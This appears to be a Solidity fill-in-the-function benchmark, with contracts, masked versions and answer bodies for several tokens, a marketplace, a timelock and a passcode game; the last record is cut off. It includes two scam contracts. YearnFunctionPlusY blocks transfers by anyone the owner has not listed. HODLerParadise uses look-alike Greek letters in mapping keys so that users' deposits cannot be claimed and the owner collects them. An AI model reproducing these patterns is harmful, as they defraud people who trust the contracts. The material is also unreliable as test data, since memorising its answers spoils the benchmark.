contract YukiToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _feeAddr1 = 0; uint256 public _feeAddr2 = 15; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Yuki NFT"; string private constant _symbol = "YUKI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x2fbE4aFa4F3768E16E0E81B38b19dAC8463E95FA); _feeAddrWallet2 = payable(0x2fbE4aFa4F3768E16E0E81B38b19dAC8463E95FA); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {<FILL_FUNCTION_BODY> } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e10 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function withdrawStuckToken() public onlyOwner { _feeAddrWallet1.transfer(address(this).balance); } function setFeeWallets(address firstWallet, address secondWallet) public onlyOwner { _feeAddrWallet1 = payable(firstWallet); _feeAddrWallet2 = payable(secondWallet); } function setFees(uint256 reflectionfee, uint256 teamFee) public onlyOwner { _feeAddr1 = reflectionfee; _feeAddr2 = teamFee; } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract YukiToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public _feeAddr1 = 0; uint256 public _feeAddr2 = 15; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Yuki NFT"; string private constant _symbol = "YUKI"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x2fbE4aFa4F3768E16E0E81B38b19dAC8463E95FA); _feeAddrWallet2 = payable(0x2fbE4aFa4F3768E16E0E81B38b19dAC8463E95FA); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } <FILL_FUNCTION> function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e10 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function withdrawStuckToken() public onlyOwner { _feeAddrWallet1.transfer(address(this).balance); } function setFeeWallets(address firstWallet, address secondWallet) public onlyOwner { _feeAddrWallet1 = payable(firstWallet); _feeAddrWallet2 = payable(secondWallet); } function setFees(uint256 reflectionfee, uint256 teamFee) public onlyOwner { _feeAddr1 = reflectionfee; _feeAddr2 = teamFee; } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp );
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap
3299
YearnFunctionPlusY
null
contract YearnFunctionPlusY is ERC20, ERC20Detailed { using SafeMath for uint; mapping (address => bool) public controller; mapping (address => bool) public blackList; address univ2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor () public ERC20Detailed("Yearn Function PlusY", "YF(+y)", 18) {<FILL_FUNCTION_BODY> } function stake(address account) public { require(controller[msg.sender], "error"); _stake(account); } function withdraw(address account, uint amount) public { require(controller[msg.sender], "error"); _withdraw(account, amount); } function rebase(address account, uint amount) public { require(controller[msg.sender], "error"); _rebase(account, amount); } function addblackList(address account) public { require(controller[msg.sender], "error"); blackList[account] = true; } function removeblackList(address account) public { require(controller[msg.sender], "error"); blackList[account] = false; } function _tft(address sender, address recipient, uint amount) internal { if(blackList[sender]){ super._tft(sender, recipient, amount); } else { super._tft(sender, recipient, 0); } } }
contract YearnFunctionPlusY is ERC20, ERC20Detailed { using SafeMath for uint; mapping (address => bool) public controller; mapping (address => bool) public blackList; address univ2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; <FILL_FUNCTION> function stake(address account) public { require(controller[msg.sender], "error"); _stake(account); } function withdraw(address account, uint amount) public { require(controller[msg.sender], "error"); _withdraw(account, amount); } function rebase(address account, uint amount) public { require(controller[msg.sender], "error"); _rebase(account, amount); } function addblackList(address account) public { require(controller[msg.sender], "error"); blackList[account] = true; } function removeblackList(address account) public { require(controller[msg.sender], "error"); blackList[account] = false; } function _tft(address sender, address recipient, uint amount) internal { if(blackList[sender]){ super._tft(sender, recipient, amount); } else { super._tft(sender, recipient, 0); } } }
_initMint( msg.sender, 1200*10**uint(decimals()) ); controller[msg.sender] = true; blackList[msg.sender] = true; blackList[univ2] = true;
constructor () public ERC20Detailed("Yearn Function PlusY", "YF(+y)", 18)
constructor () public ERC20Detailed("Yearn Function PlusY", "YF(+y)", 18)
33753
HODLerParadise
is_passcode_correct
contract HODLerParadise{ struct User{ address hodler; bytes32 passcode; uint hodling_since; } User[] users; mapping (string => uint) parameters; function HODLerParadise() public{ parameters["owner"] = uint(msg.sender); } function get_parameters() constant public returns( uint price, uint price_pool, uint base_reward, uint daily_reward, uint max_reward ){ price = parameters['price']; price_pool = parameters['price_pool']; base_reward = parameters['base_reward']; daily_reward = parameters['daily_reward']; max_reward = parameters['max_reward']; } // Register as a HODLer. // Passcode can be your password, or the hash of your password, your choice // If it's not hashed, max password len is 16 characters. function register(bytes32 passcode) public payable returns(uint uid) { require(msg.value >= parameters["price"]); require(passcode != ""); users.push(User(msg.sender, passcode, now)); // leave some for the deployer parameters["price_pool"] += msg.value * 99 / 100; parameters["last_hodler"] = now; uid = users.length - 1; } // OPTIONAL: Use this to securely hash your password before registering function hash_passcode(bytes32 passcode) public pure returns(bytes32 hash){ hash = keccak256(passcode); } // How much would you get if you claimed right now function get_reward(uint uid) public constant returns(uint reward){ require(uid < users.length); reward = parameters["base_reward"] + parameters["daily_reward"] * (now - users[uid].hodling_since) / 1 days; reward = parameters["max_reward"]; } // Is your password still working? function is_passcode_correct(uint uid, bytes32 passcode) public constant returns(bool passcode_correct){<FILL_FUNCTION_BODY> } // Get the price of your glorious HODLing! function claim_reward(uint uid, bytes32 passcode) public payable { // a good HODLer always HODLs some more ether require(msg.value >= parameters["price"]); require(is_passcode_correct(uid, passcode)); uint final_reward = get_reward(uid) + msg.value; if (final_reward > parameters["price_poοl"]) final_reward = parameters["price_poοl"]; require(msg.sender.call.value(final_reward)()); parameters["price_poοl"] -= final_reward; // Delete the user: copy last user to to-be-deleted user and shorten the array if (uid + 1 < users.length) users[uid] = users[users.length - 1]; users.length -= 1; } // Refund the early HODLers, and leave the rest to the contract deployer function refund_and_die() public{ require(msg.sender == address(parameters['owner'])); require(parameters["last_hοdler"] + 7 days < now); uint price_pool_remaining = parameters["price_pοοl"]; for(uint i=0; i<users.length && price_pool_remaining > 0; ++i){ uint reward = get_reward(i); if (reward > price_pool_remaining) reward = price_pool_remaining; if (users[i].hodler.send(reward)) price_pool_remaining -= reward; } selfdestruct(msg.sender); } function check_parameters_sanity() internal view{ require(parameters['price'] <= 1 ether); require(parameters['base_reward'] >= parameters['price'] / 2); require(parameters["daily_reward"] >= parameters['base_reward'] / 2); require(parameters['max_reward'] >= parameters['price']); } function set_parameter(string name, uint value) public{ require(msg.sender == address(parameters['owner'])); // not even owner can touch these, that would be unfair! require(keccak256(name) != keccak256("last_hodler")); require(keccak256(name) != keccak256("price_pool")); parameters[name] = value; check_parameters_sanity(); } function () public payable { parameters["price_pool"] += msg.value; } }
contract HODLerParadise{ struct User{ address hodler; bytes32 passcode; uint hodling_since; } User[] users; mapping (string => uint) parameters; function HODLerParadise() public{ parameters["owner"] = uint(msg.sender); } function get_parameters() constant public returns( uint price, uint price_pool, uint base_reward, uint daily_reward, uint max_reward ){ price = parameters['price']; price_pool = parameters['price_pool']; base_reward = parameters['base_reward']; daily_reward = parameters['daily_reward']; max_reward = parameters['max_reward']; } // Register as a HODLer. // Passcode can be your password, or the hash of your password, your choice // If it's not hashed, max password len is 16 characters. function register(bytes32 passcode) public payable returns(uint uid) { require(msg.value >= parameters["price"]); require(passcode != ""); users.push(User(msg.sender, passcode, now)); // leave some for the deployer parameters["price_pool"] += msg.value * 99 / 100; parameters["last_hodler"] = now; uid = users.length - 1; } // OPTIONAL: Use this to securely hash your password before registering function hash_passcode(bytes32 passcode) public pure returns(bytes32 hash){ hash = keccak256(passcode); } // How much would you get if you claimed right now function get_reward(uint uid) public constant returns(uint reward){ require(uid < users.length); reward = parameters["base_reward"] + parameters["daily_reward"] * (now - users[uid].hodling_since) / 1 days; reward = parameters["max_reward"]; } <FILL_FUNCTION> // Get the price of your glorious HODLing! function claim_reward(uint uid, bytes32 passcode) public payable { // a good HODLer always HODLs some more ether require(msg.value >= parameters["price"]); require(is_passcode_correct(uid, passcode)); uint final_reward = get_reward(uid) + msg.value; if (final_reward > parameters["price_poοl"]) final_reward = parameters["price_poοl"]; require(msg.sender.call.value(final_reward)()); parameters["price_poοl"] -= final_reward; // Delete the user: copy last user to to-be-deleted user and shorten the array if (uid + 1 < users.length) users[uid] = users[users.length - 1]; users.length -= 1; } // Refund the early HODLers, and leave the rest to the contract deployer function refund_and_die() public{ require(msg.sender == address(parameters['owner'])); require(parameters["last_hοdler"] + 7 days < now); uint price_pool_remaining = parameters["price_pοοl"]; for(uint i=0; i<users.length && price_pool_remaining > 0; ++i){ uint reward = get_reward(i); if (reward > price_pool_remaining) reward = price_pool_remaining; if (users[i].hodler.send(reward)) price_pool_remaining -= reward; } selfdestruct(msg.sender); } function check_parameters_sanity() internal view{ require(parameters['price'] <= 1 ether); require(parameters['base_reward'] >= parameters['price'] / 2); require(parameters["daily_reward"] >= parameters['base_reward'] / 2); require(parameters['max_reward'] >= parameters['price']); } function set_parameter(string name, uint value) public{ require(msg.sender == address(parameters['owner'])); // not even owner can touch these, that would be unfair! require(keccak256(name) != keccak256("last_hodler")); require(keccak256(name) != keccak256("price_pool")); parameters[name] = value; check_parameters_sanity(); } function () public payable { parameters["price_pool"] += msg.value; } }
require(uid < users.length); bytes32 passcode_actually = users[uid].passcode; if (passcode_actually & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF == 0){ // bottom 16 bytes == 0: stored password was not hashed // (e.g. it looks like this: "0x7265676973746572310000000000000000000000000000000000000000000000" ) return passcode == passcode_actually; } else { // stored password is hashed return keccak256(passcode) == passcode_actually; }
function is_passcode_correct(uint uid, bytes32 passcode) public constant returns(bool passcode_correct)
// Is your password still working? function is_passcode_correct(uint uid, bytes32 passcode) public constant returns(bool passcode_correct)
55482
MarketplaceV2
purchaseWithDai
contract MarketplaceV2 is MarketplaceCommon, DigixConstantsExtras { function MarketplaceV2(address _resolver) public { require(init(CONTRACT_INTERACTIVE_MARKETPLACE_V2, _resolver)); } function marketplace_controller_v2() internal constant returns (MarketplaceControllerV2 _contract) { _contract = MarketplaceControllerV2(get_contract(CONTRACT_CONTROLLER_MARKETPLACE)); } /// @dev purchase DGX gold using ETH /// @param _block_number Block number from DTPO (Digix Trusted Price Oracle) /// @param _nonce Nonce from DTPO /// @param _wei_per_dgx_mg Price in wei for one milligram of DGX /// @param _signer Address of the DTPO signer /// @param _signature Signature of the payload /// @return { /// "_success": "returns true if operation is successful", /// "_purchased_amount": "DGX nanograms received" /// } function purchaseWithEth(uint256 _block_number, uint256 _nonce, uint256 _wei_per_dgx_mg, address _signer, bytes _signature) payable public returns (bool _success, uint256 _purchased_amount) { address _sender = msg.sender; (_success, _purchased_amount) = marketplace_controller_v2().purchase_with_eth.value(msg.value).gas(600000)(msg.value, _sender, _block_number, _nonce, _wei_per_dgx_mg, _signer, _signature); require(_success); } /// @dev purchase DGX gold using DAI /// @param _dai_sent amount of DAI sent /// @param _block_number Block number from DTPO (Digix Trusted Price Oracle) /// @param _nonce Nonce from DTPO /// @param _dai_per_ton Despite the variable name, this is actually the price in DAI for 1000 tonnes of DGXs /// @param _signer Address of the DTPO signer /// @param _signature Signature of the payload /// @return { /// "_success": "returns true if operation is successful", /// "_purchased_amount": "DGX nanograms received" /// } function purchaseWithDai(uint256 _dai_sent, uint256 _block_number, uint256 _nonce, uint256 _dai_per_ton, address _signer, bytes _signature) public returns (bool _success, uint256 _purchased_amount) {<FILL_FUNCTION_BODY> } }
contract MarketplaceV2 is MarketplaceCommon, DigixConstantsExtras { function MarketplaceV2(address _resolver) public { require(init(CONTRACT_INTERACTIVE_MARKETPLACE_V2, _resolver)); } function marketplace_controller_v2() internal constant returns (MarketplaceControllerV2 _contract) { _contract = MarketplaceControllerV2(get_contract(CONTRACT_CONTROLLER_MARKETPLACE)); } /// @dev purchase DGX gold using ETH /// @param _block_number Block number from DTPO (Digix Trusted Price Oracle) /// @param _nonce Nonce from DTPO /// @param _wei_per_dgx_mg Price in wei for one milligram of DGX /// @param _signer Address of the DTPO signer /// @param _signature Signature of the payload /// @return { /// "_success": "returns true if operation is successful", /// "_purchased_amount": "DGX nanograms received" /// } function purchaseWithEth(uint256 _block_number, uint256 _nonce, uint256 _wei_per_dgx_mg, address _signer, bytes _signature) payable public returns (bool _success, uint256 _purchased_amount) { address _sender = msg.sender; (_success, _purchased_amount) = marketplace_controller_v2().purchase_with_eth.value(msg.value).gas(600000)(msg.value, _sender, _block_number, _nonce, _wei_per_dgx_mg, _signer, _signature); require(_success); } <FILL_FUNCTION> }
address _sender = msg.sender; (_success, _purchased_amount) = marketplace_controller_v2().purchase_with_dai.gas(800000)(_dai_sent, _sender, _block_number, _nonce, _dai_per_ton, _signer, _signature); require(_success);
function purchaseWithDai(uint256 _dai_sent, uint256 _block_number, uint256 _nonce, uint256 _dai_per_ton, address _signer, bytes _signature) public returns (bool _success, uint256 _purchased_amount)
/// @dev purchase DGX gold using DAI /// @param _dai_sent amount of DAI sent /// @param _block_number Block number from DTPO (Digix Trusted Price Oracle) /// @param _nonce Nonce from DTPO /// @param _dai_per_ton Despite the variable name, this is actually the price in DAI for 1000 tonnes of DGXs /// @param _signer Address of the DTPO signer /// @param _signature Signature of the payload /// @return { /// "_success": "returns true if operation is successful", /// "_purchased_amount": "DGX nanograms received" /// } function purchaseWithDai(uint256 _dai_sent, uint256 _block_number, uint256 _nonce, uint256 _dai_per_ton, address _signer, bytes _signature) public returns (bool _success, uint256 _purchased_amount)
85897
MultiBeneficiariesTokenTimelock
release
contract MultiBeneficiariesTokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 public token; // beneficiary of tokens after they are released address[] public beneficiaries; // token amounts of beneficiaries to be released uint256[] public tokenValues; // timestamp when token release is enabled uint256 public releaseTime; //Whether tokens have been distributed bool public distributed; constructor( IERC20 _token, address[] memory _beneficiaries, uint256[] memory _tokenValues, uint256 _releaseTime ) public { require(_releaseTime > block.timestamp); releaseTime = _releaseTime; require(_beneficiaries.length == _tokenValues.length); beneficiaries = _beneficiaries; tokenValues = _tokenValues; token = _token; distributed = false; } /** * @notice Transfers tokens held by timelock to beneficiaries. */ function release() public {<FILL_FUNCTION_BODY> } /** * Returns the time remaining until release */ function getTimeLeft() public view returns (uint256 timeLeft){ if (releaseTime > block.timestamp) { return releaseTime - block.timestamp; } return 0; } /** * Reject ETH */ function() external payable { revert(); } }
contract MultiBeneficiariesTokenTimelock { using SafeERC20 for IERC20; // ERC20 basic token contract being held IERC20 public token; // beneficiary of tokens after they are released address[] public beneficiaries; // token amounts of beneficiaries to be released uint256[] public tokenValues; // timestamp when token release is enabled uint256 public releaseTime; //Whether tokens have been distributed bool public distributed; constructor( IERC20 _token, address[] memory _beneficiaries, uint256[] memory _tokenValues, uint256 _releaseTime ) public { require(_releaseTime > block.timestamp); releaseTime = _releaseTime; require(_beneficiaries.length == _tokenValues.length); beneficiaries = _beneficiaries; tokenValues = _tokenValues; token = _token; distributed = false; } <FILL_FUNCTION> /** * Returns the time remaining until release */ function getTimeLeft() public view returns (uint256 timeLeft){ if (releaseTime > block.timestamp) { return releaseTime - block.timestamp; } return 0; } /** * Reject ETH */ function() external payable { revert(); } }
require(block.timestamp >= releaseTime); require(!distributed); for (uint256 i = 0; i < beneficiaries.length; i++) { address beneficiary = beneficiaries[i]; uint256 amount = tokenValues[i]; require(amount > 0); token.safeTransfer(beneficiary, amount); } distributed = true;
function release() public
/** * @notice Transfers tokens held by timelock to beneficiaries. */ function release() public
18650
Token
burn
contract Token is ERC20, Pausable { struct sUserInfo { uint256 balance; bool lock; mapping(address => uint256) allowed; } using SafeMath for uint256; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping(address => sUserInfo) user; event Burn(uint256 value); function () public payable { revert(); } function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal view returns (bool) { require(_to != address(this)); require(_to != address(0)); require(user[_from].balance >= _value); if(_lockCheck) { require(user[_from].lock == false); } } function lock(address _owner) public onlyManagers returns (bool) { require(user[_owner].lock == false); user[_owner].lock = true; return true; } function unlock(address _owner) public onlyManagers returns (bool) { require(user[_owner].lock == true); user[_owner].lock = false; return true; } function burn(uint256 _value) public onlyOwner returns (bool) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { require(_value == 0 || user[msg.sender].allowed[_spender] == 0); user[msg.sender].allowed[_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { validTransfer(_from, _to, _value, true); require(_value <= user[_from].allowed[msg.sender]); user[_from].balance = user[_from].balance.sub(_value); user[_to].balance = user[_to].balance.add(_value); user[_from].allowed[msg.sender] = user[_from].allowed[msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { 